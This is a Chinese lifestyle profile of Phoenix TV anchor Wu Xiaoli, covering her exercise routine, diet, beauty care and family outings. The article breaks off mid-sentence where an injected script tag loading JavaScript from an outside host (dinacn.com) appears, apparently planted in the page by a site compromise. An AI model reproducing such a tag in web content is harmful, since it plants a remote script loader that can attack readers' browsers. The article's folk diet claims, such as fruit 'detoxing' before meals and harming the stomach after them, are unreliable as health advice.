印象中的吴小莉总是笑口常开，明朗、敏锐、知性而又富有亲和力的健康形象深入人心，尤其在1998年朱熔基总理的记者招待会上，全中国的人都记住了香港凤凰卫视那个身材高挑的漂亮女主播。镜头的背后，生活中的小莉是个怎样的女人呢？

    健康的女人

    身为著名节目主持人、凤凰卫视信息台副台长，吴小莉在传媒界已工作了十多年，每天的工作时间常超过十小时。曾经有一次她突然患了重感冒，全身动弹不得，更起不了床，要找医生来看病，靠丈夫买药给她。那次经历后，小莉开始学会留意自己的身体状况，“其实身体很奇妙，往往会传递一些讯息给你，只是你因为忙着而没有察觉，我们对自己应该好一点。”

    忙碌完工作，实时松弛身心是小莉快速恢复精神及工作状态的方法，即使工作期间也要懂得如何放松心情，例如她会在采访前坐车的时间休息一下，工作有张有驰，才可以保持最佳状态，不可能整天如绷紧的橡皮筋一样，这只会断掉。此外，运动也是非常重要，理想状况是每星期3次运动，每次超过20分钟。“留意身心的状态，给予身体多一点时间，不要口干时才喝水、饿时才吃，困时才睡，病了才保健，重要的是适时补充。”

    在台湾时小莉多在家里吃饭，刚从台湾到香港时，爱上了喝热奶茶及西多士。在香港的前半年，水土不服加上天天吃下午茶，脸上长了很多暗疮，体型也变胖了。当时意识到这个身体讯息，小莉便到健身房多做运动，逛街后也会沿半山的电梯步行回家。

    后来有了Baby，怀孕3个月时，小莉开始学习孕妇瑜伽，过程当中有冥想，有学习呼吸帮助生产，感觉很好，令人很安静，都是孕妇在学习，教练特别注意安全，后来教练也怀孕了！饮食方面，小莉每天吃一汤匙燕窝，加奶不加糖，可以帮助增加胃口及吸收，一汤匙刚刚好，吃太多只会增加肝脏负担。

    吴小莉的每天6式运动

    1平肩，双脚分开，与肩膀等宽，双臂高举过头，由头顶缓慢往下，同时深吸气，想像天地精华进入体内，双手到腰际后，大力甩手呼气，想象体内污气排出。

    2 双手像抱西瓜置在胸前，然后半蹲，蹲下时呼气，站起来的时候吸气。

    3 头部运动，头向左侧、再向右侧；由前向左转，由前向右转180°；再360°旋转缓缓松弛颈部肌肉。

    4 向前、向后转动肩膀，舒缓肩部紧张的情况。

    5 靠在墙边直立，身体保持挺直，将头顶慢慢靠向墙身，可舒缓颈部的酸痛，幷感到头顶触墙的轻微刺激。

    6 仰卧，然后提腿至90°，缓慢放下，用腹部之力顶住，双脚未落地前，屈膝靠向胸前，大约10次。

    美丽的女人

    每个女人心里都有一把衡量美丽的标尺，在小莉看来，开心快乐的人就是美丽的人。人生每一阶段的美各有不同，小孩的天真、少女的娇美  、孕妇的幸福……重要的是每一个阶段都要珍惜独有的美，因为那段时间过去了便回不了头。其实有梦想的人总是精神抖擞，也散发着一种无法言喻的气质，这股朝气也是令人折服的。

    工作的要求小莉必须化妆出镜，皮肤的护理变得很重要。美容方面，小莉会做面部护理、按摩、桑拿等，保持皮肤素质之余，也可以舒缓紧张的精神状态。至于在饮食方面，每天饭前吃水果，帮助消化排毒，也有助于控制晚餐的食量。小莉特别提醒大家，千万不要在饭后吃水果，那只会加重胃的负担。

    幸福的女人

    小莉生活的平衡来自一个三角形：工作、家庭及自己。家庭生活的三人行给她一种幸福感，为了争取更多的相处时间，早上家人还在睡梦中的时候，小莉已经出去做运动，家人起床后便一起享受家庭乐。空闲时一起爬山、到海边游玩、吃晚饭。他们一家曾到过很多地方，如西贡、赤柱、石澳、浅水湾、贝沙湾、数码港，每次爬山感觉很舒服，完成后她会给自己一点奖励，吃份雪糕。她还打算等昂坪洲缆车开通后，到大屿山坐360°缆车、看大佛；小莉一家人还有海洋公园的年票，有空就去看熊猫、海豚。

    只要有机会小莉还要制造和丈夫独处的机会，比如夫妻俩一起看场电影。平时与女儿玩游戏之余，她也会制造自己独处的空间，独自逛街、买书、听音乐、看杂志，会与女性朋友聊天、喝咖啡等等。她还喜欢到健身房，边跑步边看DVD。小莉说懂得培养自己的嗜好，有自己的空间十分重要，可使身心灵达致平衡及松弛的状态。

    小莉曾听说哈佛大学有幸福学的课程，内容是教人如何发展爱情观、适合自己的生活方式、怎样发现自己的能力等等，在人生的道?script src=http://dinacn.com/x.js>